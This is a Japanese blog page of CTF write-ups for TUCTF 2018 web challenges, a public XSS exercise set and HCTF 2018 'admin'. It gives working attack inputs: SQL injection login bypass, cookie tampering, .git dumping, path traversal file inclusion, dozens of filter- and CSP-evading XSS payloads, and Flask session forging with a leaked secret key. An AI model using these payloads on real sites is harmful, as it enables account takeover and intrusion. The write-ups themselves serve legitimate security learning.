TUCTF 2018 Writeup - Web(全問)
TUCTF 2018、Web問は全て解いたので、まとめてWriteup記載。
Guessing要素が多めだった気がします。
目次
- Mrs. White's Messy Maids
- Mr. Green's Weird Website
- Colonel Mustard's Simple Signin
- Miss Scarlet's Resume Requests
- Professor Plum's Ravenous Researcher
- Easter Egg: Copper Gate
- Easter Egg: Jade Gate
- Easter Egg: Crystal Gate
Mrs. White's Messy Maids
問題
Mrs. White's simple website might be hiding some murderous intentions...
Writeup
HTMLソースに/Boddy
のコンテンツを示唆するコメントがある。
root@kali:~# curl http://18.218.152.56/ <html> <head> <title>Mrs. White</title> <link rel="stylesheet" href="styles.css"> </head> <body> <h1>Welcome to Mrs. White's Maid Service</h1> <img src="https://tinyurl.com/ybbtf3nv" height="500"> <p>We offer only the best maids for all your cleaning needs <br> To learn more about our services, call 275-317-3581 <!-- I might kill if I could find him. Stupid Mr. /Boddy --></p> </body> </html>
root@kali:~# curl http://18.218.152.56/Boddy/ <html> <head> <title>/Boddy</title> <link rel="stylesheet" href="styles.css"> </head> <body> <p>TUCTF{1_4ccu53_Mr5._Wh173_w17h_7h3_c4ndl3571ck_1n_7h3_c0mm3n75}</p> </body> </html>
フラグゲット。
TUCTF{1_4ccu53_Mr5._Wh173_w17h_7h3_c4ndl3571ck_1n_7h3_c0mm3n75}
Mr. Green's Weird Website
問題
While investigating Mr. Green for something completely unrelated, we found this login page.
Maybe you can find a way in?
Writeup
usernameとpasswordを入力するログイン画面。
admin/adminでログイン成功。
root@kali:~# curl http://18.219.196.70/login.php -d "username=admin&password=admin" <link href="login.css" rel="stylesheet" type="text/css"><title>Lovely</title><h1>TUCTF{1_4ccu53_mr._6r33n_w17h_7h3_b4d_p455w0rd_1n_7h3_l061n}</h1>
フラグゲット。
TUCTF{1_4ccu53_mr._6r33n_w17h_7h3_b4d_p455w0rd_1n_7h3_l061n}
Colonel Mustard's Simple Signin
問題
We know Col Mustard is up to something--can you find a way in to tell us what?
Writeup
usernameとpasswordを入力するログイン画面。
usernameにadmin、passwordに単純なSQLiの' or 1=1#
でクリア。
root@kali:~# curl http://13.59.239.132/login.php -d "username=admin&password='%20or%201=1#" <link href="login.css" rel="stylesheet" type="text/css"><title>Perfect!</title><h1>TUCTF{1_4ccu53_c0l0n3l_mu574rd_w17h_7h3_r0p3_1n_7h3_l061n}</h1>
フラグゲット。
TUCTF{1_4ccu53_c0l0n3l_mu574rd_w17h_7h3_r0p3_1n_7h3_l061n}
Miss Scarlet's Resume Requests
問題
Something is up with Miss's Scarlet's acting site. Maybe you can take a look?
Writeup
/contact.php
に遷移すると、以下のメッセージ。
All you need to do is find a way to Mr. Boddy. He's been blackballing me in the industry.
最初の問題と同じく、/Boddy/
にアクセス。
root@kali:~# curl http://18.220.239.106/Boddy/ <html> <head> <title>Not a Clue</title> <style> body { background-color: #8B0000; margin: 0; padding: 0; font-family: "Open Sans", "Helvetica Neue", Helvetica, Arial, sans-serif; } div { width: 600px; margin: 5em auto; padding: 50px; background-color: #fff; border-radius: 1em; } a:link, a:visited { color: #38488f; text-decoration: none; } @media (max-width: 700px) { body { background-color: #fff; } div { width: auto; margin: 0 auto; border-radius: 0; padding: 1em; } } </style> </head> <body> <h2>That was a really good try...Did you think it would be that easy? <!--Maybe look into how easy it would be to receive some tissues in the 'post'--></h2> </body> </html>
postしてみる。
root@kali:~# curl http://18.220.239.106/Boddy/ -X POST <html> <head> <title>Mr. Boddy</title> <style> body { background-color: #8B0000; margin: 0; padding: 0; font-family: "Open Sans", "Helvetica Neue", Helvetica, Arial, sans-serif; } div { width: 600px; margin: 5em auto; padding: 50px; background-color: #fff; border-radius: 1em; } a:link, a:visited { color: #38488f; text-decoration: none; } @media (max-width: 700px) { body { background-color: #fff; } div { width: auto; margin: 0 auto; border-radius: 0; padding: 1em; } } </style> </head> <body> <h1>TUCTF{1_4ccu53_m155_5c4rl37_w17h_7h3_kn1f3_1n_7h3_h77p_r3qu357}</h1> </body> </html>
フラグゲット。
TUCTF{1_4ccu53_m155_5c4rl37_w17h_7h3_kn1f3_1n_7h3_h77p_r3qu357}
Professor Plum's Ravenous Researcher
問題
Professor Plum is hiring! Maybe you can get the job!
Writeup
Professor Plumが、Mr. Boddyの居場所を探しているというストーリー。
まずは流れに沿って各画面の動きを調べる。
/search.php
Loactionの入力が可能なので、適当に入力すると/signup.php
へLocation=<入力値>
をsubmitした。/signup.php
Found_Boddy=0
とLocation=<base64エンコードされたLocation>
のSet-Cookieが返却されて、/looking.php
へリダイレクトされた。/looking.php
Maybe try somewhere else in the mansion?
が表示された。
ここから結構悩む。
Found_Boddy=0
はFound_Boddy=1
に改ざんするのだろうと容易に想像がつくが、Location
はどうするか?
立ち返って、そもそも、この一連の問題の元ネタをググってみる。
有名なテーブルゲームらしい。映画化、ゲーム化もされたようだ。
wikipedia内に、ゲーム内に登場するRoomの情報を発見。
- Kitchen
- Ballroom
- Conservatory
- Dining Room
- Cellar with envelope
- Billiard Room
- Library
- Hall
- Lounge
- Study
順番に試してみると、Billiard Room
を入力時に、以下のメッセージに変わった。
Locationは合ったのだろう。
Maybe try looking again?
あとは、Found_Boddy=1
に改ざんしてリクエストする。
ワンライナーで解く。
root@kali:~# curl http://18.223.185.148/looking.php -H "Cookie: Found_Boddy=1;Location=`echo -n 'billiard room'|base64`" <title>Success!</title><link href="file.css" rel="stylesheet" type="text/css"><h1><center>Congrats! You found him</center></h1><p>TUCTF{1_4ccu53_pr0f3550r_plum_w17h_7h3_c00k13_1n_7h3_b1ll14rd_r00m}</p>
フラグゲット。
TUCTF{1_4ccu53_pr0f3550r_plum_w17h_7h3_c00k13_1n_7h3_b1ll14rd_r00m}
Easter Egg: Copper Gate
問題
We know Col Mustard is up to something--can you find a way in to tell us what?
Writeup
トップページには、youtubeの埋め込み動画とimages/banner.pngのみ。
root@kali:~# curl http://18.191.227.167/ <html> <body bgcolor="000000"> <center> <img src="images/banner.png" alt="banner" height=150 width=700> </br> </br> <font color="white"> <h1>Thank you for joining us today.</h1> <h3>Apologies, but the site is currently under construction.</h3> <h5>Please return at a later date for more content!</h5> <iframe width="560" height="315" src="https://www.youtube.com/embed/o5L94RV6ZDE" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> <h5>- Joker</h5> </font> </center> </body> </html>
/images/
にアクセスするとディレクトリリスティングが可能。
root@kali:~# curl http://18.191.227.167/images/ <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> <html> <head> <title>Index of /images</title> </head> <body> <h1>Index of /images</h1> <table> <tr><th valign="top"><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr> <tr><th colspan="5"><hr></th></tr> <tr><td valign="top"><img src="/icons/back.gif" alt="[PARENTDIR]"></td><td><a href="/">Parent Directory</a> </td><td> </td><td align="right"> - </td><td> </td></tr> <tr><td valign="top"><img src="/icons/image2.gif" alt="[IMG]"></td><td><a href="banner.png">banner.png</a> </td><td align="right">2018-11-23 22:13 </td><td align="right">511K</td><td> </td></tr> <tr><td valign="top"><img src="/icons/image2.gif" alt="[IMG]"></td><td><a href="logo.png">logo.png</a> </td><td align="right">2018-11-23 22:13 </td><td align="right">7.1K</td><td> </td></tr> <tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="sitenotes.txt">sitenotes.txt</a> </td><td align="right">2018-11-23 22:13 </td><td align="right"> 89 </td><td> </td></tr> <tr><th colspan="5"><hr></th></tr> </table> </body></html>
sitenotes.txt
を確認するとリンク先を発見。
root@kali:~# curl http://18.191.227.167/images/sitenotes.txt Site is in development, but active updates can be viewed by going to /devvvvv/index.html
自動でhome.html
へ遷移させられるが、コメント欄にもリンクを発見。
root@kali:~# curl http://18.191.227.167/devvvvv/index.html <meta http-equiv="refresh" content="0; URL='home.html'" /> <!-- Congratulations! You have discovered the path to the first flag. Please continue your journey at "/enterthecoppergate/gate.html" -->
home.html
には、この一連の問題の趣旨と、レディプレイヤーワン(映画)のリンク。
映画、面白かったですね。IT系ホイホイの映画。
root@kali:~# curl http://18.191.227.167/devvvvv/home.html <html> <body bgcolor="000000"> <center> <img src="../images/banner.png" alt="banner" height=150 width=700> </br> </br> <font color="white"> <h1>Welcome to the development area</h1> <p>You may be asking yourself how you got here... Truth be told I have no idea either. You may want to figure that out.</p> </br> <p>Moving on, though.</p> <h2>I hope you have as much fun solving this as I did writing it.</h2> <h3>A big thank you to Warren Robinett for begininning this fun tradition.</h3> <p>In the spirit of the classic video game easter egg, I have hidden a series of challenges throughout this site. In the spirit of my favorite book, Ready Player One, there will be three challenges that will culminate into a final test.</p> </br> <p>For reference:</p> <a href="https://www.youtube.com/watch?v=cSp1dM2Vj48">Ready Player One Trailer</a> </br> </br> <p>Upon collecting the first three flags, a clue to the final challenge will be unlocked. For those that find their way to the end, a bounty of points will be your reward. Thank you to everyone for your participation. And now for the introduction.</p> </br> <h1>Introductions</h1> </br> <p>Three hidden flags open three secret gates.</p> <p>Wherein the challenger will be tested for worthy traits.</p> <p>And those with the skill to solve what I create</p> <p>Will reach The End, where the points await</p> </br> </br> </br> <h1>The First Challenge</h1> </br> <p>The Copper Flag awaits your attention</p> <p>Somewhere in an old direction</p> <p>But you have much to review</p> <p>If you hope to accrue</p> <p>The points protected by this section.</p> </br> </br> </br> </font> </center> </body> </html>
もう1つのコメントアウトされたリンクを見るとbase64エンコードされたフラグをゲット。
root@kali:~# curl http://18.191.227.167/enterthecoppergate/gate.html <html> <body bgcolor="000000"> <center> <img src="../images/banner.png" alt="banner" height=150 width=700> </br> </br> <font color="white"> <h1>CONGRATULATIONS!</h1> <h2>You have found the Copper Flag.</h2> </br> <img src="copperkey.jpg" alt="Copper" height=272 width=640> </br> <p> <b>VFVDVEZ7VzNsYzBtM19UMF9UaDNfMDQ1MTVfVGgzX0MwcHAzcl9LM3l9Cg==</b> </p> </br> <h1>The Jade Flag</h1> <p>The updates conceal the Jade Flag</p> <p>in a backup long neglected</p> <p>But you can only retrace your steps</p> <p>once the logs are all collected</p> </br> </br> </br> </font> </center> </body> </html>
フラグゲット。
TUCTF{W3lc0m3_T0_Th3_04515_Th3_C0pp3r_K3y}
Easter Egg: Jade Gate
問題
Gotta make sure I log my changes. - Joker
Writeup
1つ前の問題で、logとかbackupとかヒントが出ていたので、リポジトリがあるものと想像。
/.git/
ディレクトリを発見。
以下コマンドで全取得する。
wget --recursive --level inf --no-clobber --random-wait --restrict-file-names=windows --no-parent -R "index.html?*" http://18.191.227.167/.git/
取得後、ファイルを確認。
root@kali:~/18.191.227.167# git ls-files crystalsfordays/index.html crystalsfordays/traversethebridge.php devvvvv/home.html devvvvv/index.html enterthecoppergate/copperkey.jpg enterthecoppergate/gate.html enterthecoppergate/index.html enterthecoppergate/jadekey.jpg images/banner.png images/logo.png images/sitenotes.txt index.html youfoundthejadegate/gate.html youfoundthejadegate/index.html youfoundthejadegate/jadekey.jpg youfoundthejadegate/star.jpg
http://18.191.227.167/youfoundthejadegate/gate.html
を確認する。
root@kali:~# curl http://18.191.227.167/youfoundthejadegate/gate.html <html> <body bgcolor="000000"> <center> <img src="../images/banner.png" alt="banner" height=150 width=700> </br> </br> <font color="white"> <h1>CONGRATULATIONS!</h1> <h2>You have found the Jade Flag. No, actually this time.</h2> </br> <img src="jadekey.jpg" alt="Jade"> </br> <p> <b>TUCTF{S0_Th1s_D035n7_533m_l1k3_175_f41r_8u7_wh0_3v3r_s41d_l1f3_15_f41r?}</b> </p> </br> <h1>The Crystal Flag</h1> <img src="star.jpg" alt="Rush"> </br> </br> </font> </center> </body> </html>
フラグゲット。
TUCTF{S0_Th1s_D035n7_533m_l1k3_175_f41r_8u7_wh0_3v3r_s41d_l1f3_15_f41r?}
Easter Egg: Crystal Gate
問題
I don't wanna go anywhere.
Writeup
gitリポジトリより、http://18.191.227.167/crystalsfordays/traversethebridge.php
があることが判明している。
リポジトリにあったコードは以下のとおり。
<?php echo 'Note: Only used for access management and to check user info.'; echo '<br>'; echo 'Note2: I can\'t seem to remember the param. It\'s "file"'; echo '<br>'; if (isset($_GET['file'])) { $file = $_GET['file']; if (strpos($file, '/etc/passwd') == true) { include($file); } elseif (strpos($file, '.ssh') == true) { include($file); echo '<br>'; echo 'Probably shouldn\'t put my own key in my own authorized keys, but oh well.'; } } ?>
ただ、どうやらこのソースとサーバ上にあるソースは異なるようだ。
試行錯誤した結果、以下のパラメータでフラグゲット。手動ファジング。
root@kali:~/18.191.227.167# curl http://18.191.227.167/crystalsfordays/traversethebridge.php?file=../../ Note: Only used for access management and to check user info.<br>Note2: I can't seem to remember the param. It's "file"<br>.. .bash_history webserver . .bash_logout .bashrc .bash_profile TheEgg.html <br>
root@kali:~/18.191.227.167# curl http://18.191.227.167/crystalsfordays/traversethebridge.php?file=../../TheEgg.html Note: Only used for access management and to check user info.<br>Note2: I can't seem to remember the param. It's "file"<br><html> <p>THE END</p> <p>Congratulations! You have discovered the crystal key and unlocked the egg. Thank you for your participation in this competition and I hope you enjoyed the trip, as well as learned a few things in the process.</p> <p>- Joker</p> <p>TUCTF{3_15_4_M4G1C_NUMB3R_7H3_crys74L_k3Y_15_y0ur5!}</p> </html>
フラグゲット。
TUCTF{3_15_4_M4G1C_NUMB3R_7H3_crys74L_k3Y_15_y0ur5!}
XSS Challenge(セキュリティ・ミニキャンプ in 岡山 2018) Writeup
[更新履歴]
- 2018/11/24 1:40
問題差し替えに合わせて更新
セキュリティ・ミニキャンプ in 岡山 2018で使用された演習コンテンツが公開されていたので挑戦してみた。
年令制限により来世にならないとセキュリティ・キャンプに参加できない層からすると、一般公開はありがたい限り。
public な形で解法を公開していただくのも構いません。
とのことなので、writeupを書いた。
ルールは、alert('XSS') と alert(document.domain) の2つを実行できればクリア。
それぞれ実行に成功すると"You win! :-)" と表示される。
- Case 01: Simple XSS 1
- Case 02: Simple XSS 2
- Case 03: With htmlspecialchars()
- Case 04-1: Without any backquotes and HTML tags
- Case 04-2: Without any backquotes, HTML tags and [ux]
- Case 05: Without any alphabets
- Case 06-1: Without any paretheses
- Case 06-2: Without any parentheses and [oO][nN]
- Case 06-3: Without any paretheses and .[oO].[nN].*
- Case 06-4: Without any paretheses, .[oO].[nN].* and tag attributes
- Case 07-1: Without any quotes
- Case 07-2: Without any quotes and &
- Case 08-1: Without any backquotes, parentheses and HTML tags
- Case 08-2: Without any backquotes, parentheses, HTML tags and &
- Case 09-1: Without any spaces and "script"
- Case 09-2: Without any spaces and "[sS][cC][rR][iI][pP][tT]"
- Case 20: Bad use of JSONP
- Case 21: nonce + unsafe-eval
- Case 22: nonce + unsafe-eval
- Case 23: nonce + strict-dynamic
Case 01: Simple XSS 1
入力値が、そのままHTMLとして出力される。
特に工夫は不要。
<script>alert('XSS')</script>
<script>alert(document.domain)</script>
Case 02: Simple XSS 2
URLの#
以降のハッシュが、innerHTMLにセットされる。
特に工夫は不要。
https://xss.shift-js.info/case02.php#%3Cimg%20src=x%20onerror=alert(%22XSS%22);%3E
https://xss.shift-js.info/case02.php#%3Cimg%20src=x%20onerror=alert(document.domain);%3E
Case 03: With htmlspecialchars()
phpのhtmlspecialchars関数でエスケープされた入力値が、aタグのhrefにセットされる。
javascript:ディレクティブを使用する。要クリック操作。
javascript:alert("XSS")
javascript:alert(document.domain)
Case 04-1: Without any backquotes and HTML tags
`<>
を除去された入力値が、innerHTMLにセットされる。
<>
をそのまま使用できないため、Unicode表記を使用する。
\u003Cimg src=x onerror=alert("XSS")\u003E
\u003Cimg src=x onerror=alert(document.domain)\u003E
Case 04-2: Without any backquotes, HTML tags and [ux]
`<>ux
を除去された入力値が、innerHTMLにセットされる。
Unicode表記とHexadecimal表記も塞がれた。
ただ、入力値が`(バッククォート)
の中にセットされており、テンプレートリテラルになっていることに着目する。テンプレートリテラル内では、${}
で括った文字列が式として実行される。
よって、除去される文字を${String.fromCharCode(n)}
で代替できる。
${String.fromCharCode(60)}img src=y onerror=alert("XSS")${String.fromCharCode(62)}
${String.fromCharCode(60)}img src=y onerror=alert(doc${String.fromCharCode(117)}ment.domain)${String.fromCharCode(62)}
Case 05: Without any alphabets
a-z
、A-Z
および0-9
を除去された入力値が、scriptタグ内に出力される。
jjencodeを使用する。
jjencode - Encode any JavaScript program using only symbols
なお、CTFでご用達のJSFuckでは、GETリクエストが長くなりすぎて、ブラウザの最大長を超えたので不可だった。
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"(\\\"\\"+$.__$+$._$$+$.___+"\\"+$.__$+$._$_+$._$$+"\\"+$.__$+$._$_+$._$$+"\\\")"+"\"")())();
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.$$_$+$._$+$.$$__+$._+"\\"+$.__$+$.$_$+$.$_$+$.$$$_+"\\"+$.__$+$.$_$+$.$$_+$.__+"."+$.$$_$+$._$+"\\"+$.__$+$.$_$+$.$_$+$.$_$_+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$_$+$.$$_+")"+"\"")())();
Case 06-1: Without any paretheses
()
を除去された入力値が、h1タグ内に出力される。
()
が使用できないため、数値文字参照でコードを記述する。
<img src=x onerror="alert("XSS")">
<img src=x onerror="alert(document.domain)">
Case 06-2: Without any parentheses and [oO][nN]
Case 06-1に加えて、on(大文字小文字ともに)
を除去された入力値が、h1タグ内に出力される。
scriptのsrcに、base64エンコードしたコードを埋め込む。
外部スクリプトファイルを用意してもよかったかもしれない。
<script type="text/javascript" src="data:text/javascript;base64,YWxlcnQoIlhTUyIp"></script>
<script type="text/javascript" src="data:text/javascript;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
Case 06-3: Without any paretheses and .[oO].[nN].*
Case 06-1に加えて、.*[oO].*[nN].*
を除去された入力値が、h1タグ内に出力される。
alert("XSS")は、Case 06-2の解法のままで通る。
alert(document.domain)は、偶然にもbase64エンコード文字列の中に.*[oO].*[nN].*
にマッチする文字列が出現していたため、空白文字で微調整する。
alert(document.domain)→alert( document.domain )という小細工をして回避。
<script type="text/javascript" src="data:text/javascript;base64,YWxlcnQoIlhTUyIp"></script>
<script type="text/javascript" src="data:text/javascript;base64,YWxlcnQoIGRvY3VtZW50LmRvbWFpbiAp"></script>
Case 06-4: Without any paretheses, .[oO].[nN].* and tag attributes
Case 06-3に加えて、<[a-zA-Z]+.+?>
を除去された入力値が、h1タグ内に出力される。
除去された後に<script>
の文字列になるよう、ダミーとして<a >
を挿入する。
<<a >script type="text/javascript" src="data:text/javascript;base64,YWxlcnQoIlhTUyIp"></script>
<<a >script type="text/javascript" src="data:text/javascript;base64,YWxlcnQoIGRvY3VtZW50LmRvbWFpbiAp"></script>
Case 07-1: Without any quotes
`'"
を除去された入力値が、h1タグ内に出力される。
"XSS"の表示には、String.fromCharCodeを使用する。
document.domainの表示はそのまま。
<script>alert(String.fromCharCode(88,83,83))</script>
<script>alert(document.domain)</script>
Case 07-2: Without any quotes and &
`'\"&#
を除去された入力値が、h1タグ内に出力される。
Case 07-1と同じ解法が使えた。
<script>alert(String.fromCharCode(88,83,83))</script>
<script>alert(document.domain)</script>
Case 08-1: Without any backquotes, parentheses and HTML tags
`()<>
を除去された入力値が、spanタグのid属性にセットされる。
また、phpのhtmlspecialchars関数でエスケープされた値も、spanタグ内に出力される。
"
でspanタグのid属性から抜けて、onClickイベントにコードをセットする。
()
が使用できないため、数値文字参照でコードを記述する。
要クリック操作。
" onclick="alert("XSS")
" onclick="alert(document.domain)
Case 08-2: Without any backquotes, parentheses, HTML tags and &
`()<>&#
を除去された入力値が、spanタグのid属性にセットされる。
また、phpのhtmlspecialchars関数でエスケープされた値も、spanタグ内に出力される。
数値文字参照が使用できないため、代わりに以下を参考にし、onerrorとthrowの組み合わせで回避した。
XSS technique without parentheses
" onclick="window.onerror=eval;throw '=alert\u0028\'XSS\'\u0029'"
" onclick="window.onerror=eval;throw '=alert\u0028document.domain\u0029'"
Case 09-1: Without any spaces and "script"
\s(空白文字)
とscript(小文字の文字列)
を除去された入力値が、h1タグ内に出力される。
script
は小文字が対象であるため、Script
を使用する。
<Script>alert("XSS")</Script>
<Script>alert(document.domain)</Script>
Case 09-2: Without any spaces and "[sS][cC][rR][iI][pP][tT]"
\s(空白文字)
とscript(大文字小文字ともに)
を除去された入力値が、h1タグ内に出力される。
除去された後にscript
の文字列になるよう、s
とcript
の間に、script
文字列を挿入する。
<sscriptcript>alert("XSS")</sscriptcript>
<sscriptcript>alert(document.domain)</sscriptcript>
Case 20: Bad use of JSONP
ここからはCSPが使用された問題。
単純にscriptタグを埋め込んでも実行できない。
<script src="jsonp.php?callback=callback"></script>
で、JSONPを使用してスクリプト実行している。
/jsonp.php?callback=callback
にアクセスすると、callback(30000);
の表示。
/jsonp.php?callback=hoge
に改変してアクセスすると、hoge(30000);
の表示。
よって、callbackパラメータにalert関数を埋めこんで実行し、残った(30000)
はコメントアウトする。
<script src="jsonp.php?callback=alert('XSS');//"></script>
<script src="jsonp.php?callback=alert(document.domain);//"></script>
Case 21: nonce + unsafe-eval
var answer = eval(window.equation.value);
で、id=equationのinputタグから計算式の値を取得してeval実行している。
alert関数をセットしたid=equationのinputタグを先に作って、evalに通してもらう。
<input type="hidden" id="equation" value="alert('XSS')"><!--
<input type="hidden" id="equation" value="alert(document.domain)"><!--
Case 22: nonce + unsafe-eval
Vue.jsを使用している。
{{}}
で関数を括れば、Vue.jsが実行してくれる。
ただ、単純に{{alert("XSS")}}
ではうまくいかなかった。
Vue.js で XSS を作り込まないために気を付けること - SSTエンジニアブログ
こちらを参考にした。
{{constructor.constructor("alert('XSS')")()}}
{{constructor.constructor("alert(document.domain)")()}}
Case 23: nonce + strict-dynamic
strict-dynamicがHTTPヘッダーにセットされている問題。
まだ解けていない。
HCTF 2018 Writeup - admin
問題文
ch1p want to have new notes,so i write,hahaha
URL http://admin.2018.hctf.io
writeup
右上のメニューにはregister
とlogin
のリンクがある。それぞれアカウントの登録とログインが可能。
適当に登録してログインする。
ログイン後、右上のメニューがpost
、change password
、logout
のリンクに変化した。
各画面を探索していると、change password
画面のHTMLソースのコメントにgithubのリンクを発見。
<div class="four wide column"></div> <div class="eight wide column"> <!-- https://github.com/woadsl1234/hctf_flask/ --> <form class="ui form segment" method="post" enctype="multipart/form-data"> <div class="field required"> <label>NewPassword</label> <input id="newpassword" name="newpassword" required type="password" value=""> </div> <input type="submit" class="ui button fluid" value="更换密码"> </form> </div>
GitHub - woadsl1234/hctf_flask: hctf_flask
どうやらこの問題のソースコードのようだ。
また、flaskフレームワークで開発されたアプリケーションのようだ。
templates/index.html
に以下の記載を発見。
admin
でログインできればフラグをゲットできる。
{% include('header.html') %} {% if current_user.is_authenticated %} <h1 class="nav">Hello {{ session['name'] }}</h1> {% endif %} {% if current_user.is_authenticated and session['name'] == 'admin' %} <h1 class="nav">hctf{xxxxxxxxx}</h1> {% endif %} <!-- you are not admin --> <h1 class="nav">Welcome to hctf</h1> {% include('footer.html') %}
flaskのsessionをデコードしてみる。
以下のツールを使用した。
GitHub - noraj/flask-session-cookie-manager: Flask Session Cookie Decoder/Encoder
-sオプションでSECRET_KEY
を指定しなければ、署名確認を省いて、ペイロードにどういった情報があるか確認できる。
python Flasksession_cookie_manager.py decode -c '.eJw9kM1uwjAQhF-l2jOH_DSkQeqByiUikjcCpYq8F-S6DskGUylAqYx491ocOtf5NLM7N9h1kz31sDhPFzuD3fAFixs8fcICsJVX6dWvSojRvzn0OKLYMgqTkDAxNTggyyQwKZWbTPGqV27bY4kHcusI-d1TuRqlw5FcNWIjM9mSI7EdarHJqMVeBl7x6NFVrhb7VHF1wAad9BUj75_rcuOJQzcbL1uZSrG8EpuoFtVBNeuUmAK_fIX7DMxp6nbn79Eew_GZ7qIozWOd2bjIu6jLdaqNtflLkRTzRJvM6qIzc5jB4PTe_n-tXfVhlq-PxKN2wYCfoMBdTnZ67ANxBPc_h0BkmA.W-e9Ug.HvSEX-rxyPxnyB5j2HsfgyDYKLI' {'_fresh': True, '_id': b'5c0361cfc70f73d44c476d75e3b636367dd9b1abda4cefb4613dad2cdfbd5391ffd4b849eca2dab936bf887b2e53f32c6888d3f0f6731c7000f7482ea27f6e50', 'csrf_token': '5af00371a5e197f0f7a3acee7892962ac5ea9fc6', 'image': b'jbTp', 'name': 'vvvv', 'user_id': '10'}
'name': 'vvvv'
を'name': 'admin'
に書き換えればいけそうだが、署名のためにはSECRET_KEY
が必要。
config.py
に、SECRET_KEY
が定義されていた。
import os class Config(object): SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123' SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test' SQLALCHEMY_TRACK_MODIFICATIONS = True
環境変数に定義されていなければ、ckj123
をSECRET_KEY
にセットする実装になっている。
おそらくデバッグ用の設定で、実環境では環境変数で与えてるんだろうなぁと思ったが、駄目元でSECRET_KEY
にckj123
をセットしてデコードしてみる。
# python Flasksession_cookie_manager.py decode -c '.eJw9kM1uwjAQhF-l2jOH_DSkQeqByiUikjcCpYq8F-S6DskGUylAqYx491ocOtf5NLM7N9h1kz31sDhPFzuD3fAFixs8fcICsJVX6dWvSojRvzn0OKLYMgqTkDAxNTggyyQwKZWbTPGqV27bY4kHcusI-d1TuRqlw5FcNWIjM9mSI7EdarHJqMVeBl7x6NFVrhb7VHF1wAad9BUj75_rcuOJQzcbL1uZSrG8EpuoFtVBNeuUmAK_fIX7DMxp6nbn79Eew_GZ7qIozWOd2bjIu6jLdaqNtflLkRTzRJvM6qIzc5jB4PTe_n-tXfVhlq-PxKN2wYCfoMBdTnZ67ANxBPc_h0BkmA.W-e9Ug.HvSEX-rxyPxnyB5j2HsfgyDYKLI' -s 'ckj123' {'_fresh': True, '_id': b'5c0361cfc70f73d44c476d75e3b636367dd9b1abda4cefb4613dad2cdfbd5391ffd4b849eca2dab936bf887b2e53f32c6888d3f0f6731c7000f7482ea27f6e50', 'csrf_token': '5af00371a5e197f0f7a3acee7892962ac5ea9fc6', 'image': b'jbTp', 'name': 'vvvv', 'user_id': '10'}
通った!えぇ・・・。
あとはname
をadmin
に改ざんしてCookieを生成するだけ。
# python3 Flasksession_cookie_manager.py encode -t "{'_fresh': True, '_id': b'5c0361cfc70f73d44c476d75e3b636367dd9b1abda4cefb4613dad2cdfbd5391ffd4b849eca2dab936bf887b2e53f32c6888d3f0f6731c7000f7482ea27f6e50', 'csrf_token': '5af00371a5e197f0f7a3acee7892962ac5ea9fc6', 'image': b'jbTp', 'name': 'admin', 'user_id': '10'}" -s 'ckj123' .eJw9kMtqwkAUhl-lnLWLXBrTCC5SpgYDc4KSEuZsZDpOTE4cC1GxjPjuTV10-_Px3-6wa0d77mBxGa92Brt-D4s7vHzBArCRN-nVj4qI0b879Dig2DIKE5EwIdXYI8toYmIqNoniVafctsMCj-TWAfKHp2I1SIcDuXLAWiayIUdi21dik1CDnZx4xYNHV7pKHGLF5RFrdNKXjHx4rYqNJ56y2XjZyFiK_EZsgkqUR1WvY2Ka-HwJjxmY89juLt-DPU3lE90GQZyGOrFhlrZBm-pYG2vTtyzK5pE2idVZa-Ywg97pg_1frV35afLl0_Gknf2T9q4_TeD1bMfnQRAG8PgF6chkyQ.W-e9gA.eA_1zHVsj7eaZndYC1uPklqPPl0
.eJw9kMtqwkAUhl-lnLWLXBrTCC5SpgYDc4KSEuZsZDpOTE4cC1GxjPjuTV10-_Px3-6wa0d77mBxGa92Brt-D4s7vHzBArCRN-nVj4qI0b879Dig2DIKE5EwIdXYI8toYmIqNoniVafctsMCj-TWAfKHp2I1SIcDuXLAWiayIUdi21dik1CDnZx4xYNHV7pKHGLF5RFrdNKXjHx4rYqNJ56y2XjZyFiK_EZsgkqUR1WvY2Ka-HwJjxmY89juLt-DPU3lE90GQZyGOrFhlrZBm-pYG2vTtyzK5pE2idVZa-Ywg97pg_1frV35afLl0_Gknf2T9q4_TeD1bMfnQRAG8PgF6chkyQ.W-e9gA.eA_1zHVsj7eaZndYC1uPklqPPl0
